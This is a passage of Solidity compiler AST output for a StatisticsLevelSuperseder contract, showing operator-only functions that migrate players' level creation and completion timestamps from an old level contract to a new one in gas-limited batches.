uint256))"}},"id":57298,"indexExpression":{"baseExpression":{"id":57295,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"11803:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57297,"indexExpression":{"id":57296,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57287,"src":"11811:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11803:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11772:57:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57300,"indexExpression":{"id":57299,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57279,"src":"11830:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11772:83:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11760:95:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57302,"nodeType":"ExpressionStatement","src":"11760:95:117"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57303,"name":"timestamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57291,"src":"11874:9:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":57304,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"11886:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"11874:13:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57327,"nodeType":"IfStatement","src":"11870:252:117","trueBody":{"id":57326,"nodeType":"Block","src":"11889:233:117","statements":[{"expression":{"id":57314,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":57306,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56516,"src":"11907:30:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":57311,"indexExpression":{"baseExpression":{"id":57307,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"11938:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57309,"indexExpression":{"id":57308,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57287,"src":"11946:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11938:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"11907:57:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57312,"indexExpression":{"id":57310,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57283,"src":"11965:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"11907:83:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57313,"name":"timestamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57291,"src":"11993:9:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"11907:95:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57315,"nodeType":"ExpressionStatement","src":"11907:95:117"},{"expression":{"id":57324,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":57316,"name":"levelFirstInstanceCreationTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56516,"src":"12020:30:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":57321,"indexExpression":{"baseExpression":{"id":57317,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"12051:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57319,"indexExpression":{"id":57318,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57287,"src":"12059:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"12051:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"12020:57:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57322,"indexExpression":{"id":57320,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57279,"src":"12078:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"12020:83:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":57323,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"12106:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"12020:87:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57325,"nodeType":"ExpressionStatement","src":"12020:87:117"}]}},{"expression":{"id":57329,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"12136:18:117","subExpression":{"id":57328,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57287,"src":"12136:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57330,"nodeType":"ExpressionStatement","src":"12136:18:117"}]},"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":57342,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57335,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":57332,"name":"gasleft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-7,"src":"12173:7:117","typeDescriptions":{"typeIdentifier":"t_function_gasleft_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"}},"id":57333,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12173:9:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"3533303030","id":57334,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"12185:5:117","typeDescriptions":{"typeIdentifier":"t_rational_53000_by_1","typeString":"int_const 53000"},"value":"53000"},"src":"12173:17:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":57341,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"12194:37:117","subExpression":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57339,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57336,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57287,"src":"12196:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57337,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"12216:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57338,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12224:6:117","memberName":"length","nodeType":"MemberAccess","src":"12216:14:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12196:34:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"id":57340,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"12195:36:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"12173:58:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57343,"nodeType":"DoWhileStatement","src":"11743:490:117"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57347,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57344,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57287,"src":"12247:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57345,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"12267:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57346,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"12275:6:117","memberName":"length","nodeType":"MemberAccess","src":"12267:14:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12247:34:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":57362,"nodeType":"Block","src":"12396:59:117","statements":[{"expression":{"id":57360,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57358,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"12410:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57359,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57287,"src":"12428:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12410:34:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57361,"nodeType":"ExpressionStatement","src":"12410:34:117"}]},"id":57363,"nodeType":"IfStatement","src":"12243:212:117","trueBody":{"id":57357,"nodeType":"Block","src":"12283:107:117","statements":[{"expression":{"id":57351,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57348,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"12297:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":57349,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"12309:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57350,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12319:27:117","memberName":"LEVEL_FIRST_COMPLETION_TIME","nodeType":"MemberAccess","referencedDeclaration":56555,"src":"12309:37:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"12297:49:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"id":57352,"nodeType":"ExpressionStatement","src":"12297:49:117"},{"expression":{"id":57355,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57353,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"12360:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":57354,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"12378:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"12360:19:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57356,"nodeType":"ExpressionStatement","src":"12360:19:117"}]}}]},"functionSelector":"777daade","implemented":true,"kind":"function","modifiers":[{"id":57252,"kind":"modifierInvocation","modifierName":{"id":57251,"name":"onlyOperator","nameLocations":["11193:12:117"],"nodeType":"IdentifierPath","referencedDeclaration":56575,"src":"11193:12:117"},"nodeType":"ModifierInvocation","src":"11193:12:117"}],"name":"dumpLevelFirstInstanceCreationTime","nameLocation":"11149:34:117","parameters":{"id":57250,"nodeType":"ParameterList","parameters":[],"src":"11183:2:117"},"returnParameters":{"id":57253,"nodeType":"ParameterList","parameters":[],"src":"11206:0:117"},"scope":57867,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":57465,"nodeType":"FunctionDefinition","src":"12467:1067:117","nodes":[],"body":{"id":57464,"nodeType":"Block","src":"12527:1007:117","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"},"id":57374,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57371,"name":"dumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56563,"src":"12545:9:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"expression":{"id":57372,"name":"DumpStage","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56560,"src":"12558:9:117","typeDescriptions":{"typeIdentifier":"t_type$_t_enum$_DumpStage_$56560_$","typeString":"type(enum StatisticsLevelSuperseder.DumpStage)"}},"id":57373,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"12568:27:117","memberName":"LEVEL_FIRST_COMPLETION_TIME","nodeType":"MemberAccess","referencedDeclaration":56555,"src":"12558:37:117","typeDescriptions":{"typeIdentifier":"t_enum$_DumpStage_$56560","typeString":"enum StatisticsLevelSuperseder.DumpStage"}},"src":"12545:50:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4e6f7420636f72726563742064756d70207374616765","id":57375,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"12597:24:117","typeDescriptions":{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""},"value":"Not correct dump stage"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f26e2442308769ca007a2bf5bb4a9d00f7095eaccc5492eaf183a870dc67cd26","typeString":"literal_string \"Not correct dump stage\""}],"id":57370,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"12537:7:117","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":57376,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"12537:85:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":57377,"nodeType":"ExpressionStatement","src":"12537:85:117"},{"assignments":[57379],"declarations":[{"constant":false,"id":57379,"mutability":"mutable","name":"_oldLevelContractAddress","nameLocation":"12641:24:117","nodeType":"VariableDeclaration","scope":57464,"src":"12633:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57378,"name":"address","nodeType":"ElementaryTypeName","src":"12633:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":57381,"initialValue":{"id":57380,"name":"oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56547,"src":"12668:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"12633:58:117"},{"assignments":[57383],"declarations":[{"constant":false,"id":57383,"mutability":"mutable","name":"_newLevelContractAddress","nameLocation":"12709:24:117","nodeType":"VariableDeclaration","scope":57464,"src":"12701:32:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":57382,"name":"address","nodeType":"ElementaryTypeName","src":"12701:7:117","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":57385,"initialValue":{"id":57384,"name":"newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56549,"src":"12736:23:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"12701:58:117"},{"assignments":[57387],"declarations":[{"constant":false,"id":57387,"mutability":"mutable","name":"_usersArrayIndex","nameLocation":"12777:16:117","nodeType":"VariableDeclaration","scope":57464,"src":"12769:24:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57386,"name":"uint256","nodeType":"ElementaryTypeName","src":"12769:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":57389,"initialValue":{"id":57388,"name":"usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56545,"src":"12796:15:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"12769:42:117"},{"assignments":[57391],"declarations":[{"constant":false,"id":57391,"mutability":"mutable","name":"timestamp","nameLocation":"12830:9:117","nodeType":"VariableDeclaration","scope":57464,"src":"12822:17:117","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":57390,"name":"uint256","nodeType":"ElementaryTypeName","src":"12822:7:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":57392,"nodeType":"VariableDeclarationStatement","src":"12822:17:117"},{"body":{"id":57431,"nodeType":"Block","src":"12853:400:117","statements":[{"expression":{"id":57401,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":57393,"name":"timestamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57391,"src":"12867:9:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"baseExpression":{"id":57394,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56522,"src":"12879:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":57398,"indexExpression":{"baseExpression":{"id":57395,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"12904:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57397,"indexExpression":{"id":57396,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57387,"src":"12912:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"12904:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"12879:51:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57400,"indexExpression":{"id":57399,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57379,"src":"12931:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"12879:77:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"12867:89:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57402,"nodeType":"ExpressionStatement","src":"12867:89:117"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57405,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":57403,"name":"timestamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57391,"src":"12975:9:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"30","id":57404,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"12987:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"12975:13:117","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":57427,"nodeType":"IfStatement","src":"12971:240:117","trueBody":{"id":57426,"nodeType":"Block","src":"12990:221:117","statements":[{"expression":{"id":57414,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":57406,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56522,"src":"13008:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":57411,"indexExpression":{"baseExpression":{"id":57407,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"13033:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57409,"indexExpression":{"id":57408,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57387,"src":"13041:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13033:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13008:51:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57412,"indexExpression":{"id":57410,"name":"_newLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57383,"src":"13060:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"13008:77:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":57413,"name":"timestamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57391,"src":"13088:9:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"13008:89:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57415,"nodeType":"ExpressionStatement","src":"13008:89:117"},{"expression":{"id":57424,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"baseExpression":{"id":57416,"name":"levelFirstCompletionTime","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56522,"src":"13115:24:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_address_$_t_uint256_$_$","typeString":"mapping(address => mapping(address => uint256))"}},"id":57421,"indexExpression":{"baseExpression":{"id":57417,"name":"players","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56461,"src":"13140:7:117","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage","typeString":"address[] storage ref"}},"id":57419,"indexExpression":{"id":57418,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57387,"src":"13148:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13140:25:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"13115:51:117","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_uint256_$","typeString":"mapping(address => uint256)"}},"id":57422,"indexExpression":{"id":57420,"name":"_oldLevelContractAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57379,"src":"13167:24:117","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"13115:77:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"hexValue":"30","id":57423,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"13195:1:117","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"13115:81:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57425,"nodeType":"ExpressionStatement","src":"13115:81:117"}]}},{"expression":{"id":57429,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"13224:18:117","subExpression":{"id":57428,"name":"_usersArrayIndex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":57387,"src":"13224:16:117","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":57430,"nodeType":"ExpressionStatement","src":"13224:18:117"}]},"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":57442,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":57435,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":57432,"name":"gasleft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-7,"src":"13261:7:117","typeDescriptions":{"typeIdentifier":"t_function_gasleft_view$__$returns$_t_uint256_$","typeString":"function () view returns (uint256)"}},"id":57433,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"13261:9:117","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"3533303030","id":57434,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"13273:5:117","typeDescriptions":{"typeIdentifier":"t_rational_53000_by_1","typeString":"int_const 